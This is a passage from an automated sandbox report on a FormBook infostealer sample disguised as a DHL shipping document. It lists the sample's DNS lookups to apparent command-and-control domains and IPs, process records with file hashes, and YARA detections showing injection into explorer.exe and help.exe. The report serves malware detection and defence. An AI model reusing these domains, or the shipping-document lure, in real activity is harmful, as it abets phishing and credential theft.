                                                            Mar 20, 2023 11:28:26.393294096 CET192.168.2.48.8.8.80x6924Standard query (0)www.on-smooth.comA (IP address)IN (0x0001)false
                                                            Mar 20, 2023 11:28:34.576559067 CET192.168.2.48.8.8.80x759eStandard query (0)www.luxgudonu.storeA (IP address)IN (0x0001)false
                                                            Mar 20, 2023 11:28:42.362283945 CET192.168.2.48.8.8.80x5976Standard query (0)www.sowmedia.siteA (IP address)IN (0x0001)false
                                                            Mar 20, 2023 11:28:50.041943073 CET192.168.2.48.8.8.80x9a04Standard query (0)www.yh78898.comA (IP address)IN (0x0001)false
                                                            Mar 20, 2023 11:29:11.441797972 CET192.168.2.48.8.8.80x8dddStandard query (0)www.363ww.topA (IP address)IN (0x0001)false

                                                            DNS Answers

                                                            TimestampSource IPDest IPTrans IDReply CodeNameCNameAddressTypeClassDNS over HTTPS
                                                            Mar 20, 2023 11:27:41.092590094 CET8.8.8.8192.168.2.40x8ccbNo error (0)www.versicherungsgott.comversicherungsgott.comCNAME (Canonical name)IN (0x0001)false
                                                            Mar 20, 2023 11:27:41.092590094 CET8.8.8.8192.168.2.40x8ccbNo error (0)versicherungsgott.com81.169.145.88A (IP address)IN (0x0001)false
                                                            Mar 20, 2023 11:27:51.203722954 CET8.8.8.8192.168.2.40x8afNo error (0)www.motherhoodinthegarden.commotherhoodinthegarden.comCNAME (Canonical name)IN (0x0001)false
                                                            Mar 20, 2023 11:27:51.203722954 CET8.8.8.8192.168.2.40x8afNo error (0)motherhoodinthegarden.com50.87.195.203A (IP address)IN (0x0001)false
                                                            Mar 20, 2023 11:28:09.969444990 CET8.8.8.8192.168.2.40x77a1No error (0)www.getpay.life199.192.28.110A (IP address)IN (0x0001)false
                                                            Mar 20, 2023 11:28:18.761651993 CET8.8.8.8192.168.2.40x8ebcNo error (0)www.espisys-technology.com217.160.0.32A (IP address)IN (0x0001)false
                                                            Mar 20, 2023 11:28:26.418127060 CET8.8.8.8192.168.2.40x6924No error (0)www.on-smooth.comon-smooth.comCNAME (Canonical name)IN (0x0001)false
                                                            Mar 20, 2023 11:28:26.418127060 CET8.8.8.8192.168.2.40x6924No error (0)on-smooth.com113.52.135.193A (IP address)IN (0x0001)false
                                                            Mar 20, 2023 11:28:34.612303972 CET8.8.8.8192.168.2.40x759eNo error (0)www.luxgudonu.storeluxgudonu.storeCNAME (Canonical name)IN (0x0001)false
                                                            Mar 20, 2023 11:28:34.612303972 CET8.8.8.8192.168.2.40x759eNo error (0)luxgudonu.store46.23.69.44A (IP address)IN (0x0001)false
                                                            Mar 20, 2023 11:28:42.404155016 CET8.8.8.8192.168.2.40x5976No error (0)www.sowmedia.sitesowmedia.siteCNAME (Canonical name)IN (0x0001)false
                                                            Mar 20, 2023 11:28:42.404155016 CET8.8.8.8192.168.2.40x5976No error (0)sowmedia.site37.97.254.29A (IP address)IN (0x0001)false
                                                            Mar 20, 2023 11:28:50.077486038 CET8.8.8.8192.168.2.40x9a04No error (0)www.yh78898.com104.233.254.113A (IP address)IN (0x0001)false
                                                            Mar 20, 2023 11:29:12.049052954 CET8.8.8.8192.168.2.40x8dddNo error (0)www.363ww.top39.109.117.109A (IP address)IN (0x0001)false

                                                            HTTP Request Dependency Graph

                                                            • www.versicherungsgott.com
                                                            • www.motherhoodinthegarden.com
                                                            • www.getpay.life
                                                            • www.espisys-technology.com
                                                            • www.on-smooth.com
                                                            • www.luxgudonu.store
                                                            • www.sowmedia.site
                                                            • www.yh78898.com

                                                            Statistics

                                                            Behavior

                                                            Click to jump to process

                                                            System Behavior

                                                            General

                                                            Target ID:0
                                                            Start time:11:27:07
                                                            Start date:20/03/2023
                                                            Path:C:\Users\user\Desktop\DHL_SHIPPING_DOCUMENT.exe
                                                            Wow64 process (32bit):true
                                                            Commandline:C:\Users\user\Desktop\DHL_SHIPPING_DOCUMENT.exe
                                                            Imagebase:0x400000
                                                            File size:730562 bytes
                                                            MD5 hash:04F5C33C1D3F795872B58F8C3922B49E
                                                            Has elevated privileges:true
                                                            Has administrator privileges:true
                                                            Programmed in:C, C++ or other language
                                                            Reputation:low

                                                            General

                                                            Target ID:1
                                                            Start time:11:27:07
                                                            Start date:20/03/2023
                                                            Path:C:\Users\user\AppData\Local\Temp\eixfhzlwqd.exe
                                                            Wow64 process (32bit):true
                                                            Commandline:"C:\Users\user\AppData\Local\Temp\eixfhzlwqd.exe" C:\Users\user\AppData\Local\Temp\lfcykkdw.xwy
                                                            Imagebase:0x400000
                                                            File size:95744 bytes
                                                            MD5 hash:52BD228566EE8DDE1E37102049937D69
                                                            Has elevated privileges:true
                                                            Has administrator privileges:true
                                                            Programmed in:C, C++ or other language
                                                            Reputation:low

                                                            General

                                                            Target ID:2
                                                            Start time:11:27:07
                                                            Start date:20/03/2023
                                                            Path:C:\Windows\System32\conhost.exe
                                                            Wow64 process (32bit):false
                                                            Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                            Imagebase:0x7ff7c72c0000
                                                            File size:625664 bytes
                                                            MD5 hash:EA777DEEA782E8B4D7C7C33BBF8A4496
                                                            Has elevated privileges:true
                                                            Has administrator privileges:true
                                                            Programmed in:C, C++ or other language
                                                            Reputation:high

                                                            General

                                                            Target ID:3
                                                            Start time:11:27:08
                                                            Start date:20/03/2023
                                                            Path:C:\Users\user\AppData\Local\Temp\eixfhzlwqd.exe
                                                            Wow64 process (32bit):true
                                                            Commandline:C:\Users\user\AppData\Local\Temp\eixfhzlwqd.exe
                                                            Imagebase:0x400000
                                                            File size:95744 bytes
                                                            MD5 hash:52BD228566EE8DDE1E37102049937D69
                                                            Has elevated privileges:true
                                                            Has administrator privileges:true
                                                            Programmed in:C, C++ or other language
                                                            Yara matches:
                                                            • Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000003.00000002.357493625.0000000000900000.00000040.10000000.00040000.00000000.sdmp, Author: Joe Security
                                                            • Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000003.00000002.357493625.0000000000900000.00000040.10000000.00040000.00000000.sdmp, Author: unknown
                                                            • Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000003.00000002.357493625.0000000000900000.00000040.10000000.00040000.00000000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com
                                                            • Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000003.00000002.357465550.00000000008D0000.00000040.10000000.00040000.00000000.sdmp, Author: Joe Security
                                                            • Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000003.00000002.357465550.00000000008D0000.00000040.10000000.00040000.00000000.sdmp, Author: unknown
                                                            • Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000003.00000002.357465550.00000000008D0000.00000040.10000000.00040000.00000000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com
                                                            • Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000003.00000002.357347266.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security
                                                            • Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000003.00000002.357347266.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Author: unknown
                                                            • Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000003.00000002.357347266.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com
                                                            Reputation:low

                                                            General

                                                            Target ID:4
                                                            Start time:11:27:13
                                                            Start date:20/03/2023
                                                            Path:C:\Windows\explorer.exe
                                                            Wow64 process (32bit):false
                                                            Commandline:C:\Windows\Explorer.EXE
                                                            Imagebase:0x7ff618f60000
                                                            File size:3933184 bytes
                                                            MD5 hash:AD5296B280E8F522A8A897C96BAB0E1D
                                                            Has elevated privileges:false
                                                            Has administrator privileges:false
                                                            Programmed in:C, C++ or other language
                                                            Reputation:high

                                                            General

                                                            Target ID:5
                                                            Start time:11:27:25
                                                            Start date:20/03/2023
                                                            Path:C:\Windows\SysWOW64\help.exe
                                                            Wow64 process (32bit):true
                                                            Commandline:C:\Windows\SysWOW64\help.exe
                                                            Imagebase:0x3b0000
                                                            File size:10240 bytes
                                                            MD5 hash:09A715036F14D3632AD03B52D1DA6BFF
                                                            Has elevated privileges:false
                                                            Has administrator privileges:false
                                                            Programmed in:C, C++ or other language
                                                            Yara matches:
                                                            • Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000005.00000002.581265823.0000000002C00000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security
                                                            • Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000005.00000002.581265823.0000000002C00000.00000040.80000000.00040000.00000000.sdmp, Author: unknown
                                                            • Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000005.00000002.581265823.0000000002C00000.00000040.80000000.00040000.00000000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com
                                                            • Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000005.00000002.581153913.0000000002900000.00000040.10000000.00040000.00000000.sdmp, Author: Joe Security
                                                            • Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000005.00000002.581153913.0000000002900000.00000040.10000000.00040000.00000000.sdmp, Author: unknown
                                                            • Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000005.00000002.581153913.0000000002900000.00000040.10000000.00040000.00000000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com
                                                            • Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000005.00000002.579126869.0000000000510000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
                                                            • Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000005.00000002.579126869.0000000000510000.00000004.00000800.00020000.00000000.sdmp, Author: unknown
                                                            • Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000005.00000002.579126869.0000000000510000.00000004.00000800.00020000.00000000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com
                                                            Reputation:moderate

                                                            Disassembly

                                                            ⊘No disassembly